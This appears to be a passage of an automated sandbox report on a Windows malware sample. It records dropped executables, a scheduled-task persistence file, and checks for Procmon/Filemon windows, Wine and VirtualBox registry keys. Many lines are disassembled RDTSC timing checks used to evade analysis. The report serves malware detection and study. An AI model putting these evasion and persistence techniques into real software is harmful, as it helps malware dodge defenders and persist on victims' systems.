Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIJKJDAFHJ.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIJKJDAFHJ.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104013A second address: 1040140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8900 second address: 11A8917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D05D601h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E7D6 second address: 119E7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E7DA second address: 119E7EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7A24 second address: 11A7A31 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB21D0A7D78h 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7B64 second address: 11A7B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jo 00007FB21D05D5F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7E8B second address: 11A7EAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB21D0A7D85h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b jo 00007FB21D0A7D7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8129 second address: 11A8138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB21D05D5F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB558 second address: 11AB597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 je 00007FB21D0A7D76h 0x0000000b pop ebx 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 jmp 00007FB21D0A7D7Fh 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB21D0A7D89h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB597 second address: 11AB59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB63D second address: 11AB641 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB711 second address: 11AB71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FB21D05D5F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB772 second address: 11AB818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d pop edi 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1C32h], ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FB21D0A7D78h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 call 00007FB21D0A7D7Ch 0x00000036 mov edi, dword ptr [ebp+122D292Bh] 0x0000003c pop esi 0x0000003d mov edi, 73259BDAh 0x00000042 push 86FADE03h 0x00000047 jmp 00007FB21D0A7D80h 0x0000004c add dword ptr [esp], 7905227Dh 0x00000053 mov dword ptr [ebp+1243F3F1h], ecx 0x00000059 push 00000003h 0x0000005b jbe 00007FB21D0A7D82h 0x00000061 push 00000000h 0x00000063 mov dword ptr [ebp+122D33ECh], edx 0x00000069 push 00000003h 0x0000006b sub dword ptr [ebp+122D31D4h], edi 0x00000071 push 8730B007h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 jng 00007FB21D0A7D76h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB8E8 second address: 11AB9A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D602h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB21D05D5FBh 0x0000000f nop 0x00000010 jo 00007FB21D05D5FAh 0x00000016 mov dx, B3C1h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d mov bh, ah 0x0000001f popad 0x00000020 push 314677B6h 0x00000025 ja 00007FB21D05D608h 0x0000002b xor dword ptr [esp], 31467736h 0x00000032 js 00007FB21D05D602h 0x00000038 jne 00007FB21D05D5FCh 0x0000003e push 00000003h 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 call 00007FB21D05D5F8h 0x00000048 pop ebx 0x00000049 mov dword ptr [esp+04h], ebx 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc ebx 0x00000056 push ebx 0x00000057 ret 0x00000058 pop ebx 0x00000059 ret 0x0000005a push 00000000h 0x0000005c mov esi, dword ptr [ebp+122D27FBh] 0x00000062 push 00000003h 0x00000064 jmp 00007FB21D05D605h 0x00000069 push ecx 0x0000006a jnc 00007FB21D05D5F6h 0x00000070 pop ecx 0x00000071 call 00007FB21D05D5F9h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push ecx 0x0000007a pop ecx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9A5 second address: 11AB9B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB9B2 second address: 11ABA32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FB21D05D608h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FB21D05D608h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jns 00007FB21D05D5FEh 0x00000021 pop eax 0x00000022 jmp 00007FB21D05D600h 0x00000027 lea ebx, dword ptr [ebp+1243F4C6h] 0x0000002d ja 00007FB21D05D5FCh 0x00000033 push eax 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FB21D05D5FAh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA67B second address: 11CA687 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB21D0A7D7Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA687 second address: 11CA68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA68F second address: 11CA695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAADE second address: 11CAAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAAE4 second address: 11CAAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAAE8 second address: 11CAB07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB21D05D603h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAC48 second address: 11CAC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a jne 00007FB21D0A7D76h 0x00000010 jmp 00007FB21D0A7D80h 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAC6D second address: 11CAC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAC77 second address: 11CAC80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAC80 second address: 11CACB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB21D05D608h 0x00000011 jmp 00007FB21D05D604h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CACB8 second address: 11CACCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FB21D0A7D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAE20 second address: 11CAE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CAE2C second address: 11CAE42 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D0A7D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007FB21D0A7D76h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB230 second address: 11CB23A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB23A second address: 11CB24C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB24C second address: 11CB256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB56C second address: 11CB573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB573 second address: 11CB588 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB21D05D5FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB588 second address: 11CB58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB838 second address: 11CB83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB83D second address: 11CB84A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB84A second address: 11CB85E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB21D05D5F6h 0x00000008 jg 00007FB21D05D5F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB85E second address: 11CB862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB862 second address: 11CB868 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB868 second address: 11CB87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB21D0A7D7Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF30B second address: 11BF32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FB21D05D604h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF32C second address: 11BF332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF332 second address: 11BF336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF336 second address: 11BF352 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D88h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF352 second address: 11BF361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007FB21D05D5F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC0DB second address: 11CC0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC0E4 second address: 11CC0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC24D second address: 11CC27A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Bh 0x00000007 jmp 00007FB21D0A7D7Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FB21D0A7D7Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC27A second address: 11CC27F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC27F second address: 11CC289 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D0A7D7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC70D second address: 11CC711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0591 second address: 11D0595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0595 second address: 11D05AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FB21D05D5FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D05AB second address: 11D05B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D05B1 second address: 11D05B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D25A8 second address: 11D25AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D293D second address: 11D2941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2941 second address: 11D2947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2947 second address: 11D294D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D13BD second address: 11D13C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D13C2 second address: 11D13CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D13CC second address: 11D13D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C10 second address: 11D6C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C14 second address: 11D6C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FB21D0A7D76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C22 second address: 11D6C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119961D second address: 1199641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push esi 0x00000008 push ebx 0x00000009 jmp 00007FB21D0A7D87h 0x0000000e pop ebx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199641 second address: 1199647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6300 second address: 11D6333 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D81h 0x00000007 jmp 00007FB21D0A7D84h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FB21D0A7D76h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
